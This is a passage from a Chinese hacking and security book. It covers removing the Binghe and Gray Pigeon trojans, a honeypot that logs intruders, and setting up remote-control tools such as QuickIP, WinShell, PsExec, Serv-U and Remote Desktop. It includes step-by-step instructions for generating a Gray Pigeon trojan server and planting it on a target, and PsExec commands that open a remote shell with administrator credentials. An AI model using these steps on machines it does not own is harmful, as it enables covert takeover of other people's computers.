步骤2：由于冰河服务端程序有自我保护设置，用可执行文件SYSEX PLR.EXE关联了TXT文件或EXE文件。因此，当服务端的程序KERNE L32.EXE被删除后，如果打开TXT文件或运行EXE文件，就会发现TXT或EXE的关联文件SYSEXPLR.EXE会再次把“冰河”服务端程序KERNEL32.EXE安装到Windows的系统目录中。因此，如果想要完全清除“冰河”木马，就必须取消这种文件关联。

如果关联的为TXT文件，则可以采用如下步骤取消这种文件关联。

步骤1：在Windows资源管理器中打开【文件夹选项】对话框，选择【文件类型】选项卡“已注册的文件类型”列表框中的“TXT文本文档”选项，如图3-28所示。

图　3-28　【编辑文件类型】对话框

步骤2：单击【高级】按钮，即可打开【编辑文件类型】对话框，如图3-29所示。

图　3-29　【文件类型】选项卡

步骤3：在【操作】列表框中选择"Open"并单击【编辑】按钮，即可打开【编辑这种类型的操作：文本文档】对话框，如图3-30所示。如果“用于执行操作的应用程序”文本框中不是"Notepad.exe%1"，而是"D:\WINNT\System32\Sysexplr.exe%1"（在Windows 9x/2000/XP中类似），则把这项内容改为"Notepad.exe%1"。

图　3-30　编辑对文件类型的操作

如果关联的为EXE文件，则可以采取如下步骤取消这种文件关联。

步骤1：打开注册表编辑器窗口并展开到HKEY_LOCAL_MACHINE\SOFTWARE\Class es\exe file\shell\open\command\，如图3-31所示。

图　3-31　修改注册表

提示　最好不要急于先修改注册表，因为如果这时候就对注册表进行修改，则“冰河”服务端程序sysexplr.exe的进程立刻就会把它给改回来。

步骤2：保持注册表管理器打开，按"Ctrl+Alt+Del"组合键并在【任务管理器】中找到Sysexplr.exe进程，选中后再单击【结束进程】按钮来关掉这个进程。

步骤3：把HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\的键值由原来的D:\WlNDOWS\System32\Sysexplr.exe"%1"%*改为"%1"%*。

步骤4：最后删除D:\WINDOWS\System32\目录下的Sysexplr.exe就可以了。

应该在修改注册表后再删除可疑程序，否则对方如果将“冰河”设置为与EXE文件关联，那自己就连运行注册表编辑器的机会都没有了。另外，在修改注册表时可能已启动了与EXE文件关联的“冰河”，而“冰河”在正常关闭时将会再次修改注册表。因此，在Windows系统下通过使用"Ctrl+Alt+Del"组合键来重启计算机至关重要。

3.诱骗骇客

在清除完“冰河”木马之后，再来讲述一下如何利用“冰河陷阱”的伪装功能来诱捕入侵者。由于“冰河”调用了7626端口，因此，默认情况下“冰河陷阱”将自动监听7626端口，如果需改变“冰河陷阱”的监听端口，则选择【设置】→【设置监听端口】菜单项，在【设置监听端口】对话框中输入要修改的端口号，如图3-32所示。

图　3-32　设置监听端口

选择【文件】→【打开陷阱】菜单项，“冰河陷阱”将完全模拟真正的“冰河”服务端程序对入侵者的控制命令进行响应。比如被入侵主机原有3个驱动器，但“冰河陷阱”在启动后，黑客在控制端只能看到“冰河陷阱”模拟出的两个硬盘驱动器，而原有的3个驱动器将不会显示出来，如图3-33所示。

图　3-33　仅显示两个模拟出的硬盘

小技巧　响应信息以文本方式记录在“冰河陷阱”程序文件夹下的"dat"文件夹中。读者可以通过修改这些文本文件来改变“冰河陷阱”的响应信息，以使其更具有欺骗性。

“冰河陷阱”甚至还会模拟出“虚拟屏幕”供黑客使用冰河的“查看屏幕”等功能时调用，这些功能设计都大大提高了“冰河陷阱”以假乱真的效果，如图3-34所示。

图　3-34　模拟出的屏幕显示

当有入侵者通过“冰河”客户端连接到“冰河陷阱”所伪装的服务端程序上时，可以在系统托盘中看到“冰河陷阱”图标不断闪烁报警，同时还有声音。双击图标打开“冰河陷阱”主界面，在列表中可以看到入侵者的IP地址、所在地以及登录密码和详细的操作过程。

此时单击【保存记录】按钮，即可将显示的入侵记录保存在磁盘上以供分析。如果还有兴趣可以和电脑的主人聊聊，则可利用“冰河”自带的【冰河信使】向其发送信息。其实“冰河”的基本操作就是这么简单，以后要接触的木马几乎都与其操作基本类似。

显然，对付“冰河”，使用“冰河陷阱”这款反控制程序，效果十分好，上述实例已充分说明了这一点。

第20招　用QuickIP进行多点控制

如果想尝试一下“一台计算机同时管理和控制多台计算机、多台计算机也同时管理一台计算机”这样的“多点”控制，QuickIP无疑是一个很好的选择。QuickIP可用于服务器管理、远程资源共享、网吧机器管理、远程办公、远程教育、排除故障和远程监控等多种应用场合。QuickIP可运行在Windows 9X/Me/NT/2000/XP等系统上。

1.设置QuickIP服务器端

由于QuickIP是将服务器端与客户端合并在一起的，所以无论在哪台计算机中都是一起安装服务器端和客户端，这也是实现一台服务器可以同时被多个客户机控制、一个客户机也可以同时控制多个服务器的前提条件。配置QuickIP服务器端的具体操作步骤如下。

步骤1：在程序安装完毕之后，需要先配置服务器端，在最后一步时只选中【立即运行QuickIP服务器】复选框并单击【完成】按钮，如图3-35所示。

图　3-35　勾选“立即运行QuickIP服务器”项

步骤2：为了实现安全的密码验证登录，QuickIP设定客户端必须知道服务器的登录密码才能进行登录控制。因此，QuickIP服务器端运行前会弹出一个设置密码提示框，要求立即设置一个密码，如图3-36所示。

图　3-36　设置密码的提示框

步骤3：单击【确定】按钮，即可打开【修改本地服务器的密码】对话框，在“新密码”文本框和“重输新密码”文本框中输入两次相同的密码，如图3-37所示。单击【确定】按钮，即可看到密码已经设定成功了。

图　3-37　输入两次相同的密码

步骤4：此时就可以看到QuickIP的服务器管理窗口了，从右侧提示信息中可以看到“服务器启动成功”的字样，如图3-38所示。

图　3-38　QuickIP的服务器管理窗口

2.设置QuickIP客户端

客户端的设置就相对简单了，具体的操作步骤如下。

步骤1：单击工具栏中的【添加主机】按钮添加服务器，在弹出对话框的“主机”文本框中输入远程计算机的IP地址，在“端口”和“密码”文本框中输入在服务器端设置的信息，如图3-39所示。

图　3-39　添加远程主机

步骤2：单击【确定】按钮，稍后就可以在客户端窗口中的“远程主机”下看到刚刚添加的IP地址了，单击该IP地址后，从展开的控制功能列表中可看到远程控制功能十分丰富，这表示客户端与服务器端的连接已经成功了，如图3-40所示。

图　3-40　远程主机的控制功能列表

3.实现远程控制

下面来看看如何进行远程控制（鉴于QuickIP的强大功能，只讲几个比较常用的控制操作），具体操作步骤如下。

步骤1：单击【远程磁盘驱动器】选项，即可看到远程计算机中的所有驱动器，如图3-41所示。在尝试单击光驱（这里为E盘）后，可以发现当前光驱的驱动盘符。显然，QuickIP对远程计算机光驱具有很好的控制能力。

图　3-41　查看远程驱动器

步骤2：如图3-42所示，单击【远程控制】选项下的【屏幕控制】选项，即可在稍后弹出的窗口中看到远程计算机桌面，可以在该窗口中通过鼠标和键盘来完成对远程计算机的控制。

图　3-42　远程屏幕控制

步骤3：如果远程计算机出现速度忽然缓慢等情况，则可以通过单击【远程主机进程列表】选项，查看远程计算机进程来快速诊断远程计算机的问题所在。

步骤4：如果对远程计算机的操作已经结束，为了安全起见就应该关闭远程计算机了。单击如图3-43所示【远程控制】下的【远程关机】项，在弹出对话框中单击【是】按钮。

图　3-43　远程关机

限于篇幅，本书无法将该软件的远程控制功能详细讲述，但通过上述的远程控制应用，可以看出，QuickIP远程控制功能十分强大，是网管和有远程控制需求用户的好帮手。

第21招　用WinShell实现远程控制

WinShell是一个运行在Windows平台上的Telnet服务器软件，主程序是一个仅仅6KB大小的EXE文件，可完全独立执行而不依赖于任何系统动态链接库，尽管它体积很小，功能却十分强大，支持定制端口、密码保护、多用户登录、NT服务方式、远程文件下载、信息自定义及独特的反DDOS等功能。

1.配置WinShell

默认状态下，定制WinShell的主程序会生成一个压缩过的体积很小的WinShell服务端，当然也可以不选择，而使用其他压缩或保护程序对生成的WinShell服务端进行处理。

在安装并运行WinShell之后，就可以根据自己要求配置服务器端了，如图3-44所示。

图　3-44　配置服务器端

具体操作步骤如下。

步骤1：在“监听端口”文本框中设置即将生成的服务器端运行后的端口号，默认为5277。再设置登录服务器端时需要的密码，默认为无密码。

注意“连接密码返回信息”选项是登录WinShell时要求输入密码的提示信息，默认为"Password:"，可设置为空，表示无提示信息。

步骤2：设置服务器端在系统中以服务方式运行时的服务名称，默认为WinShell。“注册键值”项是指在Windows 9x系统中安装WinShell时，为了在系统启动后能自动运行，WinShell写在注册表路径HKEY_LOCAL_MACHINE\SOFTWARE\Micro soft\Windows\CurrentVersion\Run处的字符串名，默认为WinShell，其值也为字符串类型，如"C:\windows\winshell.exe"。

步骤3：在【显示名称】文本框中选择默认值WinShell Service之后，下方的【功能选项】描述项是指显示在NT服务列表中说明服务具体功能的字符串，默认为"Provide Windows Shell Service"。

步骤4：勾选“自动安装”复选框后，就可以设置当WinShell运行时自动安装本身了。

步骤5：设置完毕之后，单击【生成】按钮让WinShell的主程序生成一个压缩过的体积很小的WinShell服务端，稍后将自动弹出一个如图3-45所示的文本文件，从中可以看到生成的服务器端的配置信息。

图　3-45　生成的服务器端的配置信息

步骤6：查看生成的服务器端文件大小，将会发现服务器端程序大小不足6KB，如图3-46所示。由于这里设计WinShell是做一个非常小巧方便的Telnet服务器软件，而不是木马程序，所以WinShell的进程并没有隐藏，如图3-47所示（这里也只是在服务器上运行）。

图　3-46　查看生成服务器端文件大小

图　3-47　查看WinShell进程

步骤7：在配置完服务器端程序并在指定计算机中运行之后，就可以使用Telnet命令与远程计算机进行连接，执行"Telnet xxx.xxx.xxx.xxx 5277"并输入正确的密码（如果需要的话）后即可成功登录，命令格式为“Telnet服务器IP 5277”。

步骤8：在登录后，需要在命令行中输入“?”并按Enter键查看可以操作的命令，如图3-48所示。通过反馈信息得知可以使用哪些命令。

图　3-48　显示的反馈信息

显然，服务器端的制作是十分简单的，而对系统资源的占用却是很小的，加之操作命令并不复杂，因此，需要进行远程管理的朋友可尝试使用WinShell来完成任务。

2.实现远程控制

当配置好WinShell服务器并在被控端计算机中运行后，用户可在主控端计算机中利用“命令提示符”窗口输入有关Telnet命令与远程计算机建立连接，并进行控制。

具体的操作方法如下。

步骤1：将已配置好的WinShell服务器端复制到远程计算机中并运行。在主控端计算机“命令提示符”窗口中运行“Telnet服务器IP 5277”命令，即可成功连接，如图3-49所示。

图　3-49　成功建立连接

步骤2：执行“?”命令，即可查看WinShell的所有命令参数，如图3-50所示。

图　3-50　WinShell命令参数

步骤3：执行"s"命令，将显示远程计算机的盘符信息，如图3-51所示。此时主控端就可以控制远程计算机了。

图　3-51　Telnet服务

WinShell命令参数及其功能如下：

i Install：远程安装功能。

r Remove：远程反安装功能，此命令并不终止WinShell的运行。

p Path：查看WinShell主程序的路径信息。

b reBoot：重新启动远程计算机。

d shutdown：关闭远程计算机。

s Shell：WinShell提供的Telnet服务功能。

x exit：退出本次登录会话，但此命令不终止WinShell的运行。

q quit：终止WinShell的运行，此命令不反安装WinShell。

第22招　用灰鸽子实现远程管理

灰鸽子作为一款国产优秀的远程控制软件，它有着强大的远程控制功能，“灰鸽子”远程控制软件使用“反弹端口”技术与客户端进行连接，则解决了这一问题，同时也解决了无法了解主机动态IP地址的问题，使得局域网内部的计算机也可以进行远程控制。

1.生成木马的服务端

“灰鸽子”分为“客户端”和“服务端”两个部分，它与“冰河”不同的是其“服务端”需要在使用前通过“客户端”来配置生成。具体的操作步骤如下。

步骤1：将下载的压缩包解压后，双击“灰鸽子2008.exe”程序，即可进入其操作界面，如图3-52所示。

图　3-52　“灰鸽子2008”主窗口

步骤2：单击【配置服务程序】按钮，即可打开【服务器配置】对话框。在“自动上线设置”标签中输入IP, IP通知URL地址和网页、DNS解析域名或固定IP，如图3-53所示。

图　3-53　【服务器配置】对话框

步骤3：在“安装选项”标签中可选择运行服务器程序后的有关选项，如图3-54所示。

图　3-54　“安装选项”标签页

步骤4：在“启动选项”标签中可选择是否将服务端程序信息写入系统注册表等选项中，如图3-55所示。在“保存路径”文本框中输入生成服务端的保存位置，单击【生成服务器】按钮，即可生成灰鸽子的服务端程序，如图3-56所示。

图　3-55　“启动选项”标签页

图　3-56　提示信息

步骤5：将生成的服务器程序复制到被控端计算机中并运行。如果在“安装选项”标签中选取相关的复选框，则安装成功后会给出提示，如图3-57所示。

图　3-57　安装成功提示

2.查看控制效果

将这个程序在要控制的计算机上运行，当这台计算机与Internet连接或通过局域网中其他计算机与Internet连接时，就会自动与“客户端”连接，就可以看到远程计算机的IP地址已经显示在了“自动上线主机”下了，如图3-58所示。

图　3-58　与被控端连接

连接成功后可以在远程主机上执行命令，对远程主机进行文件管理，上传、下载文件，修改远程主机的注册表等操作了，如图3-59所示。显然，如果将灰鸽子用于远程管理，功能将十分强大，可以很好地满足远程管理的需要。由于“灰鸽子”强大的远程管理功能，加上“服务端”运行过于隐蔽，使得许多人将它用于非法控制别人计算机了。

图　3-59　对文件进行管理

3.禁止灰鸽子服务

灰鸽子服务器端在运行后将会自动在系统服务中生成一个名为"Hgzserver"的服务，如果将其关闭则会中止灰鸽子的运行。禁止灰鸽子服务的具体操作步骤如下。

步骤1：在【运行】对话框的运行栏中输入"Services.msc"命令，即可打开“服务”窗口，在其中将会看到灰鸽子服务，如图3-60所示。

图　3-60　“服务”窗口

步骤2：双击该服务项后，在属性对话框中单击【停止】按钮，再将“启动类型”设置为“已禁用”项即可，如图3-61所示。

图　3-61　【属性】对话框

4.灰鸽子的手工清除

灰鸽子远程监控软件分为客户端和服务端两部分，黑客通过在客户端进行配置，生成一个服务端程序之后，再通过多种渠道来传播这个服务端（俗称种植木马），下面介绍两种清除灰鸽子的方法。

（1）手工检测

因为灰鸽子拦截了API调用，在正常模式下服务端程序文件和其注册的服务项均被隐藏，也就是说，用户即使设置了“显示所有隐藏文件”也看不到它们。此外，灰鸽子服务端的文件名也是可以自定义的，这都给手工检测带来了一定困难。

其实，无论自定义的服务器端文件名是什么，一般都会在系统安装目录下生成一个以"_hook.dll"结尾的文件。通过这一点，即可较为准确地手工检测出灰鸽子的服务端。由于正常模式下灰鸽子会隐藏自身，因此，检测灰鸽子的操作一定要在安全模式下进行。

具体的操作步骤如下。

步骤1：在系统重启并进入Windows系统启动画面之前，按"F8"键（或在启动系统时按住"Ctrl"键不放），在启动选项菜单中选择"Safe Mode"启动项或“安全模式”启动项。

步骤2：由于灰鸽子的文件本身具有隐藏属性，因此要设置Windows显示所有文件。在“我的电脑”窗口中选择【工具】→【文件夹选项】菜单项，即可打开【文件夹选项】对话框，在“查看”选项卡中取消勾选“隐藏受保护的操作系统文件”复选框，如图3-62所示。

图　3-62　【文件夹选项】对话框

步骤3：选择【开始】→【搜索】→【文件或文件夹】菜单项，即可打开“搜索结果”窗口，在“文件名称”文本框中输入"*_hook.dll"后，搜索位置选择C盘，如图3-63所示。

图　3-63　【搜索结果】窗口

步骤4：单击【搜索】按钮，即可在Windows目录（不包含子目录）下发现灰鸽子的木马程序文件，如Huigezi_Hook.dll文件。

步骤5：根据灰鸽子原理分析可知，如果Hmage_Hook.dll是灰鸽子的文件，则在安装目录下还会有Huigezi.exe和Huigezi.dll文件。打开Windows系统的安装目录，果然发现这两个文件，同时还有一个用于记录键盘操作的HuigeziKey.dll文件。

经过上述操作之后，基本上均可确定这些文件是灰鸽子服务端程序，所以用户只要手动清除这些程序就可以了（为防止操作失误而引起的麻烦，清除前一定要做好备份）。

（2）手工清除

经过上面的分析，清除灰鸽子就很容易了。清除灰鸽子仍然要在安全模式下操作，主要有两步：清除灰鸽子的服务和删除灰鸽子程序文件。

清除灰鸽子服务的具体操作步骤如下。

步骤1：在【注册表编辑器】窗口中展开HKEY_LOCAL_MACHINE\SYSTEM\Current Control Set\Services注册表项。

步骤2：选择【编辑】→【查找】菜单项，即可打开【查找】对话框，在“查找目标”文本框中输入"huigezi.exe"，如图3-64所示。

图　3-64　【查找】对话框

步骤3：单击【查找下一个】按钮，即可找到“灰鸽子”木马的服务项，将其所关联的整个注册表项删除。

删除灰鸽子程序文件非常简单，只需在安全模式下，删除Windows文件夹中Huigezi.exe、Huigezi.dll、Huigezi_Hook.dll以及HuigeziKey.dll文件后重启系统即可。至此，灰鸽子服务端程序就被彻底清除干净了。

5.解除关联

“灰鸽子”可以设置4种文件关联：EXE文件关联、TXT文件关联、INI文件关联、INF文件关联、INF文件关联等。解除关联的方法如下。

1）解除EXE文件关联。启动注册表编辑器，找到HKEY_CLASSES_ROOT\Exefile\shell\Open\Command主键，查看键值是不是系统默认的“%1%*”，如被修改则改为默认值。

2）解除TXT文件关联。启动注册表编辑器，找到HKEY_CLASSES_ROOT\Txtfile\Shell\Open\Command主键，默认值应为"C:\windows\notepad.exe%1"，如被修改，则改为默认值。

3）解除INI文件关联。启动注册表编辑器，找到HKEY_CLASSES_ROOT\Inifile\Shell\Open\Command主键，默认值应为"C:\windows\notepad.exe%1"，如被修改，则改为默认值。

4）解除INF文件关联。启动注册表编辑器，找到HKEY_CLASSES_ROOT\Inffile\Shell\Open\Command主键，默认值应为"C:\windows\notepad.exe%1"，如被修改，则改为默认值。

第23招　远程控制命令PsExec

PsExec也是一个Telnet的工具，无需手动安装客户端软件即可执行其他系统上的进程，并且可以获得与控制台应用程序相当的完全交互性。PsExec为管理员提供了方便的命令行方式的管理，用户可以像使用Telnet一样使用它。

1.PsExec命令概述

安装PsExec时需将PsExec复制到可执行路径，输入"psexec"可显示其使用语法。

Psexec[\\computer[,computer2[,……]|@file][-u user[-p psswd]][-n s][-l][-s|-e][-x][-i[session]][-c[-f|-v]][-w directory][-d][-][-a n,n.……]cmd[arguments]

Computer：指示PsExec在指定的一台或多台计算机上运行应用程序。如果省略计算机名称，则PsExec将在本地系统上运行应用程序；如果输入计算机名称“\\*”，则PsExec将在当前域中的所有计算机上运行应用程序。

@file：指示PsExec在指定的文本文件中列出的每台计算机上运行命令。

-a：用逗号分隔可以运行应用程序的处理器，CPU编号最小为1。例如，要在CPU 2和CPU 4上运行应用程序，请输入："-a 2，4"。

-C:将指定的程序复制到远程系统以便执行。如果省略此选项，则应用程序必须位于远程系统上的系统路径中。

-d：不等待应用程序终止。只能对非交互式应用程序使用此选项。

-e：不加载指定帐户的配置文件。

-f：将指定的程序复制到远程系统，即使远程系统中已存在该文件。

-i：运行程序，使它与远程系统中指定会话的桌面进行交互。如果未指定会话，则进程将在控制台会话中运行。

-l：以受限用户身份（去除Administrators组的权限，并且只允许使用分配给Users组的权限）运行进程。在Windows Vista上，此进程将以“低完整性”运行。

-n：指定与远程计算机连接的超时（秒）。

-p：指定用户名的密码（可选）。如果省略此选项，系统将提示您输入隐藏密码。

-s：在系统帐户中运行远程进程。

-u：指定用于登录远程计算机的可选用户名。

-v：仅在指定文件具有更高版本号或该文件比远程系统上的文件新时复制该文件。

-w：设置进程的工作目录（相对于远程计算机）。

-x：在Winlogon桌面上显示UI（仅限于本地系统）。

-priority：指定-low、-belownormal、-abovenormal、-high或-realtime按不同优先级运行进程。

program：要执行的程序的名称。

arguments：要传递的参数（注意文件路径必须是目标系统中的绝对路径）。

对于其名称中含有空格的应用程序，可在其两侧加引号，如psexec\\marklap"C:\long name\app.exe"。按【Enter】键时仅将输入内容传递到远程系统。按"Ctrl+C"组合键可终止远程进程。如果省略用户名，则远程进程将以执行PsExec时所使用的相同账户运行。

2.应用实战

在对Psexec工具有了进一步了解后，下面讲述使用Psexec进行各种操作时的具体过程。步骤1：进入Telnet操作状态。若想要用Telnet一样在远程系统上执行命令，则输入"psexec\\192. 168.0.16-u administrator-p"shining0924"cmd"命令，便可在本地机上打开远程主机192.168.0.16上的命令行Shell，如图3-65所示。在该命令行Shell中输入的命令会在远程主机上直接执行，就实现了与Telnet登录同样的功能。

图　3-65　进入Telnet操作状态

步骤2：执行本地程序。如果想要远程机执行本地C:\rav2009.exe文件，则可以输入"Psexec\\192.168.0.16-u administrator-p shining0924-c C:\rav2009.exe"命令即可。如图3-66所示。

图　3-66　执行本地程序

步骤3：启动远程服务。如果想要让远程机器执行本地上的TFTP服务端，（假设TFTP服务端在本地C:\TFTP.exe），则应输入“psexec\\远程机器ip-u administrator-p shining0924-c C:\tftp32.exe-d”命令。

第24招　实现Serv-U远程控制

Serv-U除拥有其他FTP服务器端同类软件所具备的大部分功能外，还支持断点续传、带宽限制、远程管理、远程打印、虚拟主机等。当用户使用Serv-U创建自己的FTP服务器后，将自己的一些学习资料放上去，只要能够联网，就可以随时随地进行网上信息的使用了。

1.配置服务端

下载Serv-U软件包并解压后，还需要对其进行相应地配置，才可以建立自己的FTP服务器。具体配置Serv-U的操作步骤如下。

步骤1：在如图3-67所示中双击"Serv-U-Tray"应用程序图标，即可进入“Serv-U管理控制台”主窗口，在其中选择任意一项进行相应设置，如图3-68所示。

图　3-67　“Serv-U解压后的文件”窗口

图　3-68　“Serv-U管理控制台”主窗口

步骤2：单击【新建域】按钮，即可打开【域向导-步骤1】对话框，在“名称”文本框中输入新建域的名称，可以随便起名字，反正是内网共享，无须域名转换；在“说明”框中根据需要输入更多详细信息，如图3-69所示。

图　3-69　【域向导-步骤1】对话框

步骤3：单击【下一步】按钮，即可打开【域向导-步骤2】对话框，在其中指定用户访问该域所用的协议及端口，如图3-70所示。

图　3-70　【域向导-步骤2】对话框

提示　标准文件共享协议是FTP（文件传输协议），它运行于默认端口21。然而，任何这些端口值都可更改为自己所选择的数值。若在非默认端口上运行服务器，推荐使用1024以上的端口。

步骤4：单击【下一步】按钮，即可打开【域向导-步骤3】对话框，在“IP地址”框中输入指定用于连接该域的物理地址（如：192.168.0.16）。通常是用户指定的IP地址，用于在Internet上查找的服务器。大多数家庭用户可保留该选项空白，以使Serv-U使用计算机上的任何可用IP地址，如图3-71所示。

图　3-71　【域向导-步骤3】对话框

步骤5：单击【完成】按钮，即可弹出“创建用户”提示框，访问是否创建用户账户等信息，如果不需要创建，选择【否】按钮，如图3-72所示。

图　3-72　“创建用户”提示框

步骤6：单击【是】按钮，即可弹出“是否要使用向导创建用户”提示框，如图3-73所示。单击【是】按钮，即可打开【用户向导-步骤1】对话框，在“用户名”文本框中输入账户的唯一用户名。连接域时使用该用户名开始验证过程，用户名对于该域必须唯一，但服务器上其他域可能有账户拥有同样用户名。要创建匿名账户需指定用户名为"anonymous"或"ftp"，如图3-74所示。

图　3-73　“是否要使用向导创建用户”提示框

图　3-74　【用户向导-步骤1】对话框

步骤7：单击【下一步】按钮，即可打开【用户向导-步骤2】对话框，在“密码”文本框中输入访问该账户时指定的密码。当用户连接域时，密码是验证用户身份所需的第二条信息。如果有人要连接该域，必须知道第一步中指定的用户名以及此密码。密码可以为空，但将导致知道用户名的任何人都能访问域，如图3-75所示。

图　3-75　【用户向导-步骤2】对话框

步骤8：单击【下一步】按钮，弹出【用户向导-步骤3】对话框，用于指定账户的根目录，根目录是登录成功时用户账户在服务器硬盘（或可访问的网络资源）上所处的位置。实质上，它是用户账户在服务器上收发文件时用户希望它使用的位置。单击右侧的【浏览】按钮，则将转到硬盘上的某个位置，或手动输入某位置。如果锁定用户至根目录，他们就不能访问其根目录结构之上的文件或文件夹。此外，根目录的真正位置将被屏蔽而显示为"/"，如图3-76所示。

图　3-76　【用户向导-步骤3】对话框

步骤9：单击【下一步】按钮，将打开【用户向导-步骤4】对话框，在其中设置访问的权限（如选择“只读访问”），如图3-77所示。

图　3-77　【用户向导-步骤4】对话框

步骤10：最后单击【完成】按钮，即可完成整个服务端的配置。

2.配置客户端

下面再来看看如何详细设置自己的Serv-U，具体的操作步骤如下。

步骤1：在“Serv-U管理控制台-用户”窗口中选择需详细设置的用户，如图3-78所示。

图　3-78　“Serv-U管理控制台-用户”窗口

步骤2：单击列表下方的【添加】按钮，即可弹出【用户属性】对话框，在其中根据需要进行相应地设置，如图3-79所示。

图　3-79　【用户属性】对话框

步骤3：单击群组列表下方的【添加】和【删除】按钮，分别可以为用户添加更多群组或将用户从选中的群组中删除，如图3-80所示。

图　3-80　“群组”选项页面

步骤4：欢迎消息是用户成功登录后，通常发送给FTP客户端的消息。该功能不适用于通过SSH2（Secure Shell）协议的SFTP（Secure File Transfer Protocol，安全文件传送协议）登录的用户，因为该协议无法定义将一般纯文本信息发送给用户的方式，如图3-81所示。

图　3-81　“欢迎消息”选项页面

步骤5：IP访问规则是用户验证的一种补充形式，可限制登录特定IP地址、IP地址群甚至域。当客户端向服务器表明身份时，对USER命令响应应用群组和用户级别的IP访问规则，如图3-82所示。

图　3-82　“IP访问”选项页面

步骤6：目录访问用于定义用户账户可以访问的系统区域。如果对域级别指定，则仅供该域内的用户继承。继承的传统应用规则为，在较低级别指定的规则（如用户级别）可以覆盖在较高级别（如服务器级别）指定的冲突或重复的规则，如图3-83所示。

图　3-83　“目录访问”选项页面

步骤7：虚拟路径允许用户访问根目录以外的文件和文件夹。为能够访问该映射的位置，用户需要满足对虚拟路径物理路径的目录访问规则，如图3-84所示。

图　3-84　“虚拟路径”选项页面

步骤8：Serv-U提供了高级选项用来定制它的使用方式以及将限制和定制设置应用于整个Serv-U内的用户、群组、域和服务器的方法。Serv-U内的限制和设置分为5类：连接、密码、目录列表、数据传输和高级，如图3-85所示。

图　3-85　“限制和设置”选项页面

步骤9：Serv-U允许使用事件处理，执行各种由选定事件列表所触发的操作，如图3-86所示。

图　3-86　“事件”选项页面

至此，Serv-U的配置就全部完成了，如果有防火墙，对防火墙进行相应设置，允许Serv-U访问网络，开放相应端口（默认是21）就可以正常使用该账户了。

当在自己网站或在网站所在内网中进行管理维护操作时，不要使用域名作服务器地址，尽量使用网站计算机的内网IP地址来代替，以避免使用端口映射，便于提高速度。

第25招　用SyGate突破上网封锁

Sygate Office Network是局域网共享一至四个MODEM访问Inernet的软件，基于SyGate核心功能，主要为商业网络提供网络连接共享，支持Modem/ISDN/Cable Modem/ASDL、带宽分配、用户和组的管理、增强的记录分析及设置黑白名单控制用户访问Inernet。

1.配置SyGate服务器

在使用之前应对SyGate服务器进行相应配置，具体的操作步骤如下。

步骤1：在能够上网的计算机上安装SyGate的服务器端。运行SyGate安装程序之后，会弹出一个【安装设置】对话框，询问是选择服务器模式还是客户端模式，如图3-87所示。

图　3-87　【安装设置】对话框

注意　由于局域网中所有的电脑都要通过主机才能连接到Internet，所以这里要选择服务器模式并输入计算机名称。

步骤2：在完成软件的安装之后，SyGate会自动进行“网络诊断”并自动获取主机的IP地址、网关、DNS地址等网络信息，从而免去了普通用户自己设置的烦恼，如图3-88所示。

图　3-88　自动进行网络诊断

步骤3：在【SyGate网络诊断】对话框中单击【确定】按钮，即可弹出一个【指定NAT网关IP】对话框，如图3-89所示。如果自动生成的IP和局域网内其他电脑所使用IP不冲突，单击【是】按钮，即可指定NAT网关IP。

图　3-89　【指定NAT网关IP】对话框

提示　在其中显示了SyGate根据所生成的虚拟网卡而分配的一个用来模拟NAT网关的IP地址（默认网关IP地址是192.168.0.1，也可改为其他值，只要不发生冲突就行，但客户端上的设置也必须随之改动），如果该地址和局域网内的其他电脑所使用的IP地址不冲突，一般保持默认设置即可。

步骤4：由于上述操作只是设置了SyGate的虚拟网卡地址，并不会和真实的网卡设置产生冲突，因此完全不必担心网卡IP地址会被更改。

步骤5：SyGate安装完毕并重启系统之后，需要单击SyGate主窗口中的【开始】按钮，让SyGate的Internet连接共享功能激活，如图3-90所示。

图　3-90　SyGate主窗口

2.配置SyGate客户端

当服务器端设置完毕之后，就可以对客户端的电脑进行设置了，具体的操作步骤如下。

步骤1：在客户端计算机上右击“网上邻居”图标，从快捷菜单中选择【属性】选项，即可打开“网络连接”窗口。右击【本地连接】图标项，在快捷菜单中选择【属性】选项，即可打开【本地连接属性】对话框，如图3-91所示。

图　3-91　【Internet属性】对话框

步骤2：在其中选择【Internet协议（TCP/IP）】选项并单击【属性】按钮，即可打开【Internet协议（TCP/IP）属性】对话框。由于192.168.0.1已经分配给SyGate网关，因此，只要将客户端的IP地址设置为192.168.0.2～192.168.0.254之间的任何一个IP地址即可（不能和已有的IP地址冲突）。

如IP地址为192.168.0.2，子网掩码为255.255.255.0，则默认网关必须为SyGate网关的地址192.168.0.1，DNS服务器可以使用SyGate网关地址，也可以使用单位的DNS服务器地址，如图3-92所示。

图　3-92　设置SyGate网关地址

在进行上述设置并重启系统之后，SyGate的服务器端和客户端就会自动运行了。在客户端单击【拨号】按钮，自己的电脑就可以顺利地访问Internet了。由于SyGate基于NAT（网络地址转换），因此，对电子邮件和浏览器等都不需要进行任何特殊的设置。

第26招　Windows XP远程桌面连接与协助

远程桌面采用了一种类似Telnet的技术，远程桌面连接组件是微软公司从Windows 2000 Server开始提供的，用户只需通过简单设置即可开启Windows XP、Windows 2003和Windows Vista系统下的远程桌面连接功能。

当某台计算机开启了远程桌面连接功能后，其他用户就可以在网络的另一端控制这台计算机了，可以在该计算机中安装软件、运行程序，所有的一切都好像是直接在该计算机上操作一样。通过该功能网络管理员可以在家中安全的控制单位的服务器，而且由于该功能是系统内置的，所以比其他第三方远程控制工具使用更方便、更灵活。

1.Windows XP系统的远程桌面连接

远程桌面可让用户可靠地使用远程计算机上所有的应用程序、文件和网络资源，就如同用户本人就坐在远程计算机的面前一样，不仅如此，本地（办公室）运行的任何应用程序在用户使用远程桌面（家、会议室、途中）连接后仍会运行。

在Windows XP系统中保留了远程桌面连接功能，以实现专家远程控制，帮助用户解决计算机的问题。如果需要实现远程桌面连接功能，可按如下操作进行设置。

步骤1：选择【开始】→【所有程序】→【控制面板】菜单项，即可打开“控制面板”窗口，如图3-93所示。

图　3-93　“控制面板”窗口

步骤2：双击“系统”图标，即可打开【系统属性】对话框，在“远程”选项卡中勾选“允许用户远程连接到此计算机”复选框（若想成功建立远程控制连接，则对方也应勾选此复选框）。单击【选择远程用户】按钮，即可添加那些需要进行远程连接但还不在本地管理员安全组内的任何用户，如图3-94所示。

图　3-94　【系统属性】对话框

步骤3：选择【开始】→【所有程序】→【附件】→【远程桌面连接】菜单项，即可打开【远程桌面连接】对话框，如图3-95所示。单击【选项】按钮，即可将有关选项设置项展开，如图3-96所示。

图　3-95　【远程桌面连接】对话框

图　3-96　设置远程桌面连接选项

